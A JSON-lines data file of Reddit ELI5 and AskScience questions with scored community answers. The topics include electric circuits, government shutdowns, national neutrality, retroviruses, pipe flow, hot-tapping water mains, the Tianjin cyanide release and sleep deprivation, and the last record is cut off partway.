{"q_id": "98423o", "title": "thevenin and norton equivalent circuits", "selftext": "What does it mean that a thevenin voltage equals an open circuit voltage and norton current equals a short circuit current? Does this mean Thevenin voltage is infinite since short circuit voltage is 0?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/98423o/eli5_thevenin_and_norton_equivalent_circuits/", "answers": {"a_id": ["e4d49s6"], "score": [2], "text": [" > Does this mean Thevenin voltage is infinite since short circuit voltage is 0?\n\nNo, because the Thevenin voltage is the open circuit voltage not the short circuit voltage\n\nThe goal of Thevenin equivalent circuits is to reduce the complex circuit to the left down into a simple model. If you were to probe the two points you'd see the Thevenin voltage. If you were to connect a load across those two points you'd see a current defined by only the load, Thevenin resistance, and Thevenin voltage which is very easy to solve\n\nNorton equivalents are just a source transform of Thevenin equivalents so the goals are the same just with current instead"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a825bv", "title": "what laws or rules allow the potus to shut the govt. down because representatives didn't vote (or edit) as desired on a bill?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a825bv/eli5_what_laws_or_rules_allow_the_potus_to_shut/", "answers": {"a_id": ["ec7d8cb", "ec7dhdd", "ec7ecxt", "ec7f4mh", "ec7m15s", "ec7w5dp"], "score": [6, 4, 9, 7, 2, 4], "text": ["Whenever a spending bill is passed by both chambers of Congress (House and Senate) it must be approved by the President before taking effect. If the President refuses to sign the bill, it cannot legally take effect. So, until the POTUS is satisfied with a spending bill, the government is at risk of shutting down.", "The potus doesn't but without a budget (which the prez and congress have to sign) the govt can't issue checks or pay its bills", "It's not that the POTUS is allowed to shut down the government. It's up to the legistlature to appropriate (i.e. authorize) funds that actually pay the accounts to keep things running. If there's a deadline on that then things shut down automatically. \n\nOr the legislature could pass a bill that extends that due date but the president could veto it. ", "It's all laid out in the Constitution. The budget is a law like any other. It must be passed by both houses of Congress and signed by the president. The president is threatening to veto the budget because he wants it to contain funding for a border wall. The Congress could override his veto and keep the government open, but they don't have enough votes for that. Therefore the president can effectively shut down the government by just refusing to sign the budget bill after the Congress passes it. ", "Some good thought here. I would add that assigning the blame to one person or even party over-simplifies the issue. They all have to agree which is what forces compromise and the fallout is called politics.", "The President doesn't shut down the government. He simply doesn't sign a bill to provide funding. No money = shutdown. He can't just order a shutdown whenever he feels like it. Congress and Congress alone has the power to pass legislation. This includes appropriations bills, which are bills that decide how the goverment's money gets spent. The president has the power to pass or veto all bills passed by Congress. The most recent government spending bill expires on December 21st. That means unless/until Congress passes a new bill that's also signed by the President, there's no funding for a bunch stuff. Any president can veto any bill for any reason. In this case, Trump says he won't sign a bill that doesn't include funding for a border wall. By not signing it, he'll allow funding to run out and thus trigger a shutdown."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "2xkywc", "title": "how can countries just decide to be \"neutral\"?", "selftext": "Switzerland is famous for being neutral. And there was a recent post on TIL that said the evacuation of Danish Jews from Denmark to neutral Sweden saved 99% of them.\n\nHow does being neutral war proof you?\nWhat does it actually mean?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2xkywc/eli5_how_can_countries_just_decide_to_be_neutral/", "answers": {"a_id": ["cp109ux", "cp10ap0", "cp10f8b", "cp12f29", "cp13gr8", "cp197kc", "cp1da4u", "cp1gaow", "cp1kshq", "cp1l8ke", "cp1ot9b"], "score": [184, 7, 31, 5, 18, 31, 2, 6, 3, 2, 3], "text": ["There's nothing to *enforce* neutrality other than the countries that are at war recognizes another sovereign nation's right to neutrality.\n\nGermany ignored Belgium's neutrality when it invaded France but left Spain alone, though that was because Spain and Germany had a *partnership* of sort.\n\nThe reason that Switzerland has been able to maintain neutrality is because it's in a unique position to make it very difficult for any nation to invade it.\n\nIt's surrounded by mountain, which some have been tunneled out to store military equipment and supplies.  It has set explosives on all of its bridges and set up to obstacles or areas of roads to collapse, so that troops or military equipment won't be able to use it.\n\nEDIT: As of January 2015, the Swiss had removed all the explosives from their bridges. Thanks /u/j_herbrand!\n\n_URL_0_", "It doesn't war proof them, but if there's a war already going on there's usually not much for either side to gain by provoking them and acquiring a new enemy.", "Being neutral does not mean you won't defend yourself. A lot of neutral countries have a lot military/weapons spending, but that mostly or all gets devoted to setting up a strong national defense strategy. So these neutral countries may end up being just as hard (or perhaps even harder) to invade than other countries that have offensive strategies, and there is less political incentive to invade.\n\nSince neutral countries don't really take sides, they rarely get involved in conflicts and there is often very little reason to try and take over these countries from a political standpoint. Efforts are seen as better spent trying to attack or weaken the the enemy / opposition forces who are actually a threat than to try and invade a country that you know is not going to be a threat at all unless provoked.", " >  How does being neutral war proof you?\n\nIt doesn't. The Netherlands were neutral in the First World War, and aimed to be neutral in the Second World War too, but they were invaded by Germany anyway.", "The simple answer is that it doesn't make a country \"war proof\". A great example is Belgium. In 1914 they were neutral in WWI. The Germans wanted to go through their country to invade France rather than going straight at the Frano-Prussian border that was heavily defended. Germany sort of asked Belgium to allow her soldiers to pass through unhindered.  Belgium said, \"I'm neutral, so no.\" Germany said, \"Then F you I'm coming through the hard way!\" The result was massive war crimes committed by the Germans against the Belgian citizenry with mass executions in response to mosquito like attacks from resistive civilians. Belgium was neutral the day that WWI started but within the first weeks of actual war their country was sufficiently raped and pillaged.\n\nA country's neutrality depends on the willingness of the other countries to allow them to be neutral. \n\nTLDR; Belgium was neutral in WWI but was raped by Germany.", "I'm Irish.\n\nWe're \"neutral\" in that we spend nothing on defence and figure if anybody invades we'll just ask England to come back and save us.\n\nUnless its the English who invade, in which case we're fucked.", "There's no such thing as neutrality. There's just varying levels of complicity. \"Neutral\" Switzerland did a lot of business with Nazi Germany. They weren't gassing Jews but huge amounts of Nazi gold ended up in Switzerland, somehow.", "Sweden stayed neutral by, among other things, having iron ore Germany needed. Since Germany didn't have a valid blue water navy, they couldn't exactly invade Sweden and start shipping the ore themselves, as Sweden's ships were safe from being sunk but Germany's weren't. ", "Game theory, you make it illogical for other countries to attack you.\n\n\nSwitzerland has a single purpose military, repel a full on attack on their territory. During WW2 Germany didn't want to attack because the cost of doing so was high, better use troops and resources fighting the English.", "The principle of neutrality first appeard after the defeat at the battle of Pavia in 1525, mainly because the mercenary system had drained Switzerland of it's manpower, and the different countries that made up the old Swiss Confederation didn't want to be draged into another conflict in the future.\n\nNowadays, it means Switzerland cannot go to war except if the constitution is amended through popular vote. It also means that during a conflict, Swiss diplomacy is expected to keep roughly equal ties with all belligerents.\n\n  >  How does being neutral war proof you?\n\nIt doesn't. That's what the Swiss army is for", "Well Switzerland is not really neutral in WW2. It made concessions to Nazi germany like allowing them to use some of their trains/railroads among other economic concessions. They also mobilized their army to defend against a large-scale invasion as well as fortified some areas and made strategic plans if they were attacked(bombing their own bridges/etc).\n\nI have also read that there were small skirmishes but Switzerland downplayed those events just to avoid a full-scale war.\n\nHowever I can say that they just got lucky or other routes are available for Nazi germany/allies and its much better to avoid unnecessary conflicts.\n\nEdit: There are other countries that I can say is 100% neutral in WW2 but most of them are too far away/insignificant/detached to world politics to be involved anyway.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.thelocal.ch/20150113/tons-of-tnt-finally-removed-from-swiss-sites"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "gnlzj", "title": "How do we know ERVs were viruses at all?", "selftext": "Warning: Physics major trying to grasp biology.\n\nThe things I've read about [ERVs](_URL_0_) are really interesting and I understand that we can see signs of them when they are active, but I don't see anything about how we know the DNA segments we're looking at are viruses in the non-active sequences. \n\n\nWhat distinguishes them from other non-functioning segments?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gnlzj/how_do_we_know_ervs_were_viruses_at_all/", "answers": {"a_id": ["c1ow802"], "score": [10], "text": ["Homology to other retroviruses. That is, there are stretches of DNA in many animals that are strikingly similar to stretches of DNA found in certain retroviruses. \n\nTo oversimplify : One way to think of it is that you're reading a book and you come across the line \"Call me Ishmael.\" You know exactly where that line came from, even without any other context. "]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Endogenous_retrovirus"], "answers_urls": [[]]}
{"q_id": "7y0amt", "title": "Does soapy water flow through pipes more quickly than plain water?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7y0amt/does_soapy_water_flow_through_pipes_more_quickly/", "answers": {"a_id": ["dudvbwb"], "score": [13], "text": ["Soapy water is not \"more slippery\", if that's what you mean. For a laminar flow through the pipe, the flow rate Q of the complete cross-section is governed by the [Hagen-Poiseulle equation](_URL_1_):\n\nQ = (dP * R^4 * pi) / (8 * \u03bc * L),\n\nwhere R is the radius of the pipe, dP the pressure difference between the two ends of the pipe, L the length of the pipe and \u03bc is the (dynamic) viscosity of the fluid.\n\nFluids obey the so-called *no-slip* condition, meaning that the fluid's velocity at surface of the pipe is exactly zero. This holds true for soapy and non-soapy water. In the center of the pipe the fluid is free to flow faster, but it's limited by the viscosity, which tries to equalize gradients in the velocity field (*momentum dispersion*): Pressure gradient and viscous forces are in equilibrium.\n\nThe higher the viscosity, the stronger the non-moving fluid elements at the pipe's surface hinder the movement of the center fluid elements. That's why \u03bc stands in the denominator.\n\nI couldn't find a value for regular soapy water, but I've found a [measurement](_URL_2_) of the dynamic viscosity of a 1:94 mixture of Sodium dodecyl sulfate with water, which has a dynamic viscosity of\n\n**\u03bc_tensid = 0,9751 mPa\u00b7s**\n\nThat's the sort of surfactant you might find in bodywash, although this particular one is not used for this widely anymore. The report is only in german unfortunately, sorry for that.\n\n[Water](_URL_0_) has (at the same temperature) a dynamic viscosity of\n\n**\u03bc_water = 0.89 mPa\u00b7s**\n\nand therefore is less viscous than the surfactant mixture. Therefore you can expect pure water have a higher throughput at the same pressure gradient. Note though that the surfactant solution behaves non-newtonian at lower stresses (diagram 2 in the report), dramatically increasing the viscosity of the solution.\n\nAs I've said, this only holds for laminar flow, if the flow get's turbulent the Hagen-Poiseulle equation will no longer be applicable. You can expect a similar result though, with the overall velocities reduced."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.viscopedia.com/viscosity-tables/substances/water/", "https://en.wikipedia.org/wiki/Hagen%E2%80%93Poiseuille_equation", "https://www.imeter.de/images/ART/anwendungen/DiVA/SDS_4xCMC_ID14956.pdf"]]}
{"q_id": "6nm3yh", "title": "how do new houses hook up to existing sewage and water lines without disrupting service or spewing liquids?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6nm3yh/eli5_how_do_new_houses_hook_up_to_existing_sewage/", "answers": {"a_id": ["dkahs56", "dkahyzm", "dkahz95", "dkai2zs", "dkai4fj", "dkajvze", "dkam5cs", "dkamoug", "dkaoql7", "dkarbw6", "dkau6qu", "dkavoh1", "dkaw982", "dkay0ux", "dkayb0c", "dkayq4c", "dkb29g0", "dkb3vqh", "dkb51hj", "dkbft6a"], "score": [356, 28, 15, 6199, 3, 3597, 29, 4, 41, 22, 5, 3, 3, 29, 478, 26, 2, 3, 8, 2812], "text": ["Intermittent valves that can shut off particular stretches of pipe for service. There may be a temporary disruption in service (particularly with a water line), but it is pretty infrequent that someone is running new water lines from the main in an established neighborhood.  \n\nAdditionally, when a new line is installed for a house, a separate valve is installed at the same time that can isolate their water line from their neighbors' in case they need to do a repair, or can't pay their bills because they spent all their money on coke and their wife left them with his kid and my water got shut off.", "Usually if it's in a area that's already developed they can do a hot tap while the line is still on and have minimal water spraying. With sewers similar concept the drill into the side and but a saddle on it most sewer aren't even full when in service so there is little mess.", "There's also a thing called a wet tap.  A sleeve with gaskets is placed over the main while the tap is made.  This allows the tie in to be made without closing a valve and shutting down service to the line.", "Residential sewer is pretty much all gravity main (a pipe that relies on gravity to take wastewater to a larger gravity system that might join several neighborhoods and in most cases ends up at a pump station). You can trench to the main and tie in by drilling a hole and fitting a saddle while still in operation. \n\nWater service is largely the same process but done under pressure. The process is called hot tapping a main. A special drill rig is used that fits through a saddle and valve. The residual pressure from the pipe pushes out any debris generated by the drilling process and (ideally) the line would be flushed at the end of line blowoff after drilling to ensure that this is true. Demo here: _URL_0_", "Valves.  Same way you can isolate your apartment or house from mains to service them. \n\nAlso, it is possible to \"hot tap\" into piping if there isn't a valve.  Basically, you weld a stub in, hook up a device to the stub in and the device will drill the pipe and install a valve, all without leaking.", "Engineer working in the drinking water industry here.\n\nThe answer to water and sewer are separate.\n\nWater: \"Tapping\" machines insert a new valve (typically 3/4\"-1\" diameter for residential) into an existing water main while it's live, and the valve is installed in such a way that it is closed when the installation machine is removed, so water doesn't go everywhere. The new valve threads right into the existing water main, which is typically made of iron, though there are other materials (plastic, concrete) used throughout the country. These machines also exist for larger buildings, which sometimes require 4-8\" connections for domestic water and sprinkler systems, but this process is much more expensive when you get to these sizes. In both cases, since the valves are installed closed, the contractor can then run the water pipe into the building and connect to the plumbing, then only when everything is hooked up open the new valve.\n\nSewer: Sewer mains are generally gravity flow, and are not full. As a result, you can often cut a hole in the top 3/4 of the pipe, install a new pipe to form a T or Y, and then seal up the hole without too much mess.", "Give the question about the sewer a bit more thought - \"what would happen if a sewer line were pressurized?\"  The first time someone flushes a toilet, they get a big, wet, nasty surprise.\n\nNow, such accidents have happened on submarines, where the waste system has to be pressurized in order to dump the waste into the sea.  The sailor who ignores the warning signs put in place when the system is pressurized gets to spend the next 8 hours cleaning the head.", "Sewage - insert bung.  Risk is more of gas than liquids.\n\nWater - speacially designed tap in that creates overlapping seal before hole is drilled into main.", "On the sewer side it's worth mentioning that when the mainline is installed they will often also install pre-connected taps that are plugged off but ready for future service  connections. ", "They actually have competitions at the state water/wastewater operators convention where they do wet taps on pressurized sections of pipe. They're judged on time, quality of work and safety.  They can do a tap and hook up a meter in just a few minutes.", "Waste lines arnt under pressure so it's not a big deal. Doing a hot tap on live water lines are pretty cool actually... at least mechanical piping is im not sure how cool residential water\nHook ups are. Go on YouTube and watch a couple videos. Also look up \"hot tap natural gas line.\" It's badass..\n     Union pipefitter", "In a big subdevelopment, the infrastructure for water/sewer is already there, they attach the new house then open the right valves and all is working. \n\nIn rural homes, they often build brand new water well/pump, and a septic system on the property, no outside connections. \n\nMajor city infrastructure can be isolated prior to construction, then once connections are made, they open all the taps without contaminating any of the surrounding buildings. ", "There are two main types services that need to be hooked up.  Water and Sanitary sewer.  Somebody in the comments above talked Water services and about tapping into the pressure main with a special machine, that's how that's done.  As for the sanitary sewer, most answers I have seen don't address connecting a new sewer into an existing active sewer main.  This is usually done by finding there nearest 'upstream' manhole, sending a person down that hole (with all sorts of safety equipment for sewer gases which will kill you before you can get out of that hole) and that person will plug up the sewer pipe that is flowing downstream.  They then stick a trash pump down the hole and bypass pump to the 'downstream' manhole.  They will then excavate for the tie in, cut the sewer main, add in the Y connection and attach the pipe from your house there.  Once it's all connected and back filled, some goes down the hole again and unplugs the upstream manhole.  ", "Hot tapping.\n_URL_1_\n\nIt is even more interesting with a natural gas pipeline. With smaller pipes they weld a flange on a mains pipe, install an open valve on the flange, insert drill through the open valve, punch the hole, remove the drill (punch \nrod) and close the valve.\n\nWith large diameter gas pipelines they weld a piece of pipe with flange (to create a T junction) and then use torch to cut the hole in the mains line. Then they install a valve and close it. On the city mains this might be interesting sight, with 6 meter flames during welding/cutting live gas pipe. Or at least used to be, like 50 years ago. See _URL_2_\n\nNowadays, there are fancy systems, like this one\n_URL_0_\n\n", "/u/toddlikesbikes has service lines covered, but I figured I might as well mention how water and sewer main construction is done.  \n\nWhen water mains are rebuilt, there's really no choice but to shut down the main since they are pressurized unless you are hot tapping as has already been mentioned (you can do it with big mains too).  That doesn't mean that everybody serviced by the main will go without water for the duration of construction though.  For a planned, lengthy shutdown of a main, the construction crew will run temporary water lines to each house.  These smaller lines (usually just 2-4\" PVC) are hooked up to a fire hydrant outside the work area, and ran above ground through the yards of the homes.  Then, a hose is hooked up to the house somewhere, usually the garden hose spigot on the exterior of the home, and the main water supply valve is closed.  This allows the homes to continue receiving water service as usual.\n\nSewer mains cannot be \"shut off\" because they are gravity fed.  When a run of sewer main is to be replaced, the crew will go to a manhole upstream of the work and drop a hose into the manhole.  Then, they will hook it up to a big trash pump, and run more hose to another manhole downstream of the work.  Then, they turn the pump on and dam the outlet of the upstream manhole with sandbags and wait for the main to drain.  Since there will usually be sewer services within the project area, flow won't be completely eliminated, but the amount of sewage coming out of just a few houses is negligible. \n\nThis isn't what you asked exactly but I thought you might find it interesting as well.", "Where I come from we have a dense population but a significant proportion of people still are not connected to the main drain. They have cess pits to take toilet waste which are pumped out by government services as and when necessary. Septic tanks or other bio-systems are not allowed on the island as a significant proportion of the land is used for potable water capture.\n\nTo answer OP's question in regard to my locality, when a main drain is run under a road as the government lays more services, individuals bordering the new pipe may choose to pay to connect to the sewer via a private contractor as any pipe on their land is their responsibility.\n\nThe team installing the main drain under the road will leave connection points adjacent to any property along its route and cap this pipe off ready for future connection. If the householder wishes to keep using their cess pit for the time being they can do and connect to the main at a later date.\n\nThe last connection point I connected a house to was 10 feet below road level. \n\nI ran new 4\" below ground waste pipe from their house to the boundary with the road. At that point my trench was already 3 feet below ground. I got the main drain pipe plan from the government office and dug down 10 feet and found the capped off main connection tee where the plan said it would be.\n\nI installed something called an interceptor (a water trap like a toilet U-bend) and a vent near this connection and also an inspection chamber for the interceptor. Uncapped the tee on the main drain and connected my 4 inch pipe to it. \n\nThe main drain is only a 1/4 full with fluid (think of a swimming pool flume ride but with turds in it instead of people) and the connection is near the top of the pipe so you can open it up without getting covered in poop. \n\nThat's how we connect to sewers where I live anyway.\n\n Rain water is gravity piped into soakaways - pits dug in the ground, filled with irregular rubble historically but today [plastic crates](_URL_0_) are used to create area for water to drain. \n\n\n\n", "I  worked as a project manager and estimator for several large developer/builders back in the 2000's\n\nWe bought open land, cleared it, and then subdivided it into indivdual lots. The sewer and water lines were all in place under the streets before we started building homes. Hook-ups with valves were buried in the parkway in front of each home site.", "Sewer, for the most part, is an open system. Not under pressure. There are some lines under pressure, but most are only gravity fed.  \n\nMain pipe runs down the bottom of a manhole, new house connection goes half way up/near the top. No-where near the sewer running down the lower pipe.  \n\nWater, there are screw 'taps' you can 'break into' existing lines. For major works, they just turn the water off to that particular line.", "Plumber here. All the answers are great and shit but not many rural people use that shit.\n\nYou get a black plastic pipeholder, wrap it around the pipe. These pipeholders have one side which you can attach a pipe to. And they are very easy to put valves on. So, we get the valve ready, get an iron rod blazing and push it through the water system's pipe, when the water comes out, you quickly connect the valve to the pipeholder. You get a bit wet but not a problem $ saved.", "Sewer and water guy here. Finally a question I can answer! Sewer mains are gravity operated, so you can cut a hole into the top of the pipe and no liquid will escape. Sewer mains are made of various materials, from plastic to clay to concrete, but all are tapped the same way. We usually dig down to expose the main, and cut a hole in it using a cordless drill and a 4\" diameter hole saw. Then a rubber boot is placed on the main, and fastened using metal bands that wrap around and tighten with a screwdriver bit. We coat the pipe and the rubber boot with a type of cement to prevent roots penetrating into the pipe and causing blockages. The boot has a mouth on it that accepts a new 4\" plastic line that runs to the new house. It's inserted into the boot, and tightened using the same style metal band clamps. \n\n  Water mains are a different process. It really depends on the material the main is made from. For cast iron of ductile iron mains, we have a \"tapping machine\" that drills a hole and inserts a new tap while the main is still under pressure. The device is made of brass. We place a rubber ring on the pipe, and sit the machine on it. A chain wraps around the pipe and connects to both sides of the device. We tighten two nuts to put tension on the chain. They have to be pretty tight so the rubber ring compresses enough against the wall of the pipe to prevent water from blowing out under pressure. The device is a long tube with a flap halfway down inside, that can be opened or closed with a lever on the outside. The cap that fits on the end of the tube has a metal shaft on it that accepts a special drill bit. The bit drills a hole, then cuts threads in the hole so it will accept the new tap. The cap/shaft/drill bit assembly is slid into the shaft and tightened into place. The shaft can be slid in and out without removing the cap. A large drill is attached to the end of the shaft, and the tapping process begins. The drill is geared very low. It doesn't spin fast, but has a lot of power. The tapping device has an arm that flips up and turns slowly with the drill shaft. The arm applies downward force so the bit cuts faster. Once the new hole is drilled and tapped, the drill is removed and a ratchet wrench is placed on the shaft to back the bit out by hand. The tapping device arm is still holding the shaft, because without it, once the bit is backed out of the threads, the water pressure will force the shaft out with an extreme amount of force that could possibly impale or otherwise seriously injure the man holding it. Once the bit is screwed out, the tapping device's arm is removed and the shaft is pulled out as far as it can go. This is where the flap inside the tube comes in handy. With the shaft retracted, you pull the lever to close the flap, and release the pressure from the end of the tube. The water pressure holds the flap closed, allowing us to remove the cap/shaft assembly. We remove the drill bit from the end of the shaft, and replace it with the new shutoff. The shutoff is a brass fitting that has one end threaded so it screws into the pipe wall, and is made to accept a piece of pipe in the other end. The water can be shutoff by turning a small flat piece on the side with a wrench. A metal cap is screwed onto the shutoff, and it attached to the tapping machine shaft. The shaft/cap assembly is placed back in the tube, and the flap is opened allowing the water to pressurize it again. Once the pressure is equalized, the flap is opened all the way. The shaft is pushed down until the threads of the shutoff touch the hole we drilled and tapped earlier. The shaft is turned with the ratchet wrench until the shutoff is tightened in the hole securely. With the shutoff in the hole, the tapping device can be removed from the pipe. We take a wrench and tighten the shutoff some more if it's too loose or leaking. We attach a pipe to it and connect the other end to the customer's new water meter, completing the new water service. \n\n  If the main is plastic, the process is slightly different. Plastic pipe is too thin and weak to screw a tap directly into it. A saddle must be used. A saddle is a metal fitting that has a rubber ring on the surface that mates with the pipe. It has metal clamps that go around the pipe and bolt to the saddle. Once these are tightened in place, a shutoff is threaded into the saddle. The shutoff is turned to the \"open\" position and a tapping machine similar to the kind used on larger pipes is threaded onto the shutoff. The tapping machine has a shaft with a drill bit on the end inside it. A drill is attached to the end of the shaft, and a hole is drilled into the plastic pipe, inside the saddle. Once a hole is drilled, the shaft is retracted, and the shutoff is turned to the closed position. The tapping machine is removed from the shutoff, and a pipe is attached and ran to the new meter.\n\n  These methods of tapping a pipe \"hot\" allow new services to be added without shutting down the main at all.\n\nEdit: thanks for the gold! I posted this before bed last night. I'm vacationing in Indiana and we're in the middle of nowhere. I have no internet at the rental cabin, so I'm on mobile. I also have no cell phone service inside the cabin and very little outside. People probably think I'm batshit crazy, walking around in the front yard holding my phone up in the air. I'll answer as best as I can. \n\nLots of people asked about metal shavings getting in the main when tapping. I can't say for sure that none get in there, but most stay inside the tube. There's no water in the tube until the drill bit punctures the main. When the water floods the tube, the shavings get sprayed away from the hole. In order for the water in the tube to get back into the main, the pressure inside the tube would have to be greater than inside the main. That doesn't happen, so I would think it all stays in the tube. If a stray metal shard did find its way into the main, it would probably just settle to the bottom. If it made it into your service line, it would get caught by the plastic mesh screen inside the water meter. If it made it past that, it would get caught in the strainer of your faucet. For it to make it into your cup of tea, there would have to be some kind of Final Destination type shit going on.\n\n\nEdit2: [Here](_URL_0_) is the small tapping machine. You can see a saddle in the picture around the plastic pipe.\n\n[And here](_URL_1_) is a video of a larger tapping machine that is vaguely similar to the one I use. The one I use has been at our company since the 1970s and I can't seem to find an identical one online, but you'll get the idea."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://youtu.be/dV6wl2wgJxM"], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=gaGIDmrUgAU", "https://www.youtube.com/watch?v=hIKzRuIS2N8", "https://www.youtube.com/watch?v=XsfnV3XBHRA"], [], ["http://cinderbeckbarn.blogspot.com/2015/03/post-apocolypse.html"], [], [], [], ["https://www.ohiopowertool.com/p-4973-wheeler-rex-hot-tapping-system-for-npt-threads-8100.aspx?gclid=CISXhIXPkNUCFZO1wAodd5MCdg", "https://m.youtube.com/watch?v=82PR4D5jhHQ"]]}
{"q_id": "3hsd60", "title": "The Tianjin Explosion burned large amount of chemicals one of the main being sodium cyanide, when burned it releases large amounts of hydrogen cyanide. What does that mean for the rest of the planets air quality in regards to hydrogen cyanide levels?", "selftext": "So the title is pretty self explanatory, obviously hydrogen cyanide is a extremely lethal chemical and a byproduct of burning sodium cyanide what is highly volatile and explosive. Since there is no real way to contain all the amount of smoke pouring out of the factory what does that mean for everyone else around the planet? Are we slowly going to succumb to cyanide poisoning or is there enough oxygen to dilute it enough for our bodies to expel the chemical? \n\n\nEdit: According to [this](_URL_0_) bbc article there \"About 700 tonnes of sodium cyanide was present at the site\" for reference ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3hsd60/the_tianjin_explosion_burned_large_amount_of/", "answers": {"a_id": ["cua5dro", "cuaahxx", "cuadlfq", "cuain2u"], "score": [18, 130, 5, 3], "text": ["People in the vicinity may have something to worry about, but 700 tonnes isn't much compared to the scale of the atmosphere.\n\nBy comparison the mass of the atmosphere is ~10^18 kg, so the amount of gas exerted is about 1/10^13 of the atmosphere, which is miniscule.", "In terms of the immediate area, it sucks, badly.\n\nIn terms of the world as a whole, its pretty much inconsequential.  There are two reasons for this.\n\nThe first is dilution, cyanide is \"very poisonous\" on the scale of compounds most people encounter in their daily life, but it's not particularly dangerous in low concentrations.  It doesn't act chronically and the lethal dose is on the scale of hundreds of milligrams (depending on animal LD/50 is 4-8 mg/kg).  This means if you put a few thousand kilograms in a few hundred thousand liters of water you would need to drink a glass or so to be at risk of death, but a few hundred thousand liters is not much at all when you're talking about geography.  \n\nThe other is that cyanide is decently reactive, meaning it will engage in reactions in the environment that will alter it.  Cyanide is the product of many natural processes, and is decayed away all the time.  This means left alone, even without decontamination, the chemical will dissipate.\n\nA combination of these factors means that the city will need to apply care to decontaminate and identify potential areas of concentration where dangerous levels could persist, but there is little to no risk to the larger region, and no cause for global concern except humanitarian concern.", "It's locally dangerous. But globally, it's inconsequential.\n\nCyanide harms people by taking the place of oxygen in your blood and then (almost) never leaving your bloodstream. A lot will cause you to asphyxiate and die, a small amount will leave you needing to breathe heavily for a long time, but cyanide poisoning doesn't get worse over time. \n\n700 tons of NaCN dilutes too much over the atmosphere to be a danger at all, *once it spreads out*. At present it is still localized and concentrated and so still is very dangerous.\n\nHCN (what will enter the atmosphere) isn't tremendously long lasting either.", "Aa few factoids about HCN. The main source of HCN to the atmosphere is biomass burning, which produces a lot more than the 700 tonnes mentioned here. HCN is not very reactive in the atmosphere, it reacts relatively slowly with OH radicals, and, little-known fact, it is not very soluble in aqueous solution, e.g. the oceans, because it is a very weak acid (pKa=9.2), and has a very low intrinsic Henry's law constant, about 10 M/atm. This results in about a 6 month lifetime in the atmosphere, and therefore, a global background concentration around few hundred parts-per-trillion. The NIOSH limit for 8 hr exposure is 10 parts-per-million. So, as concluded previously, the  accident in Tianjin is a local problem, and  inconsequential elsewhere. "]}, "title_urls": [], "selftext_urls": ["http://www.bbc.com/news/world-asia-china-33844084"], "answers_urls": [[], [], [], []]}
{"q_id": "2ie4tk", "title": "What physical differences can we detect between people that are well rested, running on little sleep, and running on no sleep?", "selftext": "Obviously we all know what happens if people don't get enough sleep. What are the physical changes (brain activity, blood chemistry, etc.) that scientists can measure in people who go without sleep?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2ie4tk/what_physical_differences_can_we_detect_between/", "answers": {"a_id": ["cl1hy0w", "cl1mtd3", "cl1oky2", "cl1s9s4"], "score": [407, 86, 91, 15], "text": ["I am by no means an expert and this is by no means an exhaustive list\n\nHowever, as people who are tired have a higher tendency to let their thoughts wander, they'd likely show more frequent [alpha brain waves](_URL_4_). They're associated with transitioning from waking to drowsiness and can be measured with an [EEG](_URL_3_).\n\nedit : Although this can't be done in humans, these guys found that \"forced wakefulness also resulted in a continual increase in adenosine levels with no observable plateau[...] By \nextending the period of sleep deprivation to 11 hours, Kalinchuk et  al. (2011) \ndiscovered adenosine concentration in the basal forebrain reaches a plateau after \nseven hours and that adenosine concentration in the frontal cortex also rises to \nsignificant levels after six hours of sleep deprivation\" [article quoted](_URL_2_)\n\nAlso, these guys from Pinnacle Technologies (Naylor specifically) used biosensors to determine that lactate can also be used a good biomarker for sleep in [this article](_URL_1_). Although they don't look into sleep deprivation, perhaps there is something there!\n\nEdit 2 (now that I'm home) : [this study](_URL_0_) has some interesting information in its introduction suggesting that slow eye movement occurs during drowsiness.", "Attention folks: as always, anecdotes and personal medical information are not appropriate for /r/AskScience and will be removed. Any answers need to be based on peer-reviewed scientific information.\n\nAlso, we cannot offer medical advice here. Asking for or offering it may result in a ban.\n\nThank you!", "Salivary amylase increases with sleepiness, [ref](_URL_3_)\n\nThis group claims that the protein composition of saliva changes with sleepiness, [ref](_URL_0_).\n\nThe Multiple Sleep Latency Test is the gold standard in the medical world for measuring daytime sleepiness where people that are sleepier will fall asleep quicker, [wikipedia](_URL_2_).\n\nThe Psychomotor Vigilance Task is used in research to measure sleepiness where sleepy individuals will respond slower, miss more responses, and make more premature responses, [wikipedia](_URL_1_).", "I thought you might like to know about people with narcolepsy, as while these patients are not deprived of sleep overall, it is because they are deprived of restorative deep sleep that they exhibit characteristic symptoms of extreme sleep deprivation. (In fact, extreme sleep deprivation can cause stereotypically narcoleptic symptoms in healthy adults.) \n\nAccording to (arguably) the nation's top narcolepsy researcher, [Dr. Mignot at Stanford's Center for Narcolepsy](_URL_1_), narcolepsy (which also has a requisite genetic component) is caused by an autoimmune process where the flu virus is \"confused\" with hypocretin secreting cells in the brain; these cells are destroyed entirely. Hypocretin (also known as orexin) is most well known for its role in regulating the sleep-wake cycle. Without it, we see the characteristic narcoleptic pattern of excessive REM sleep, deficient deep sleep, and with those the stereotypic symptoms of narcolepsy: chiefly excessive daytime sleepiness, sleep paralysis, and hypnagogic hallucinations with disturbed night sleep. This can be seen not only in patients with narcolepsy, but [also patients with Parkinson's](_URL_0_), another neurological disorder that can cause damage to the same hypocretin-secreting area of the brain.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": 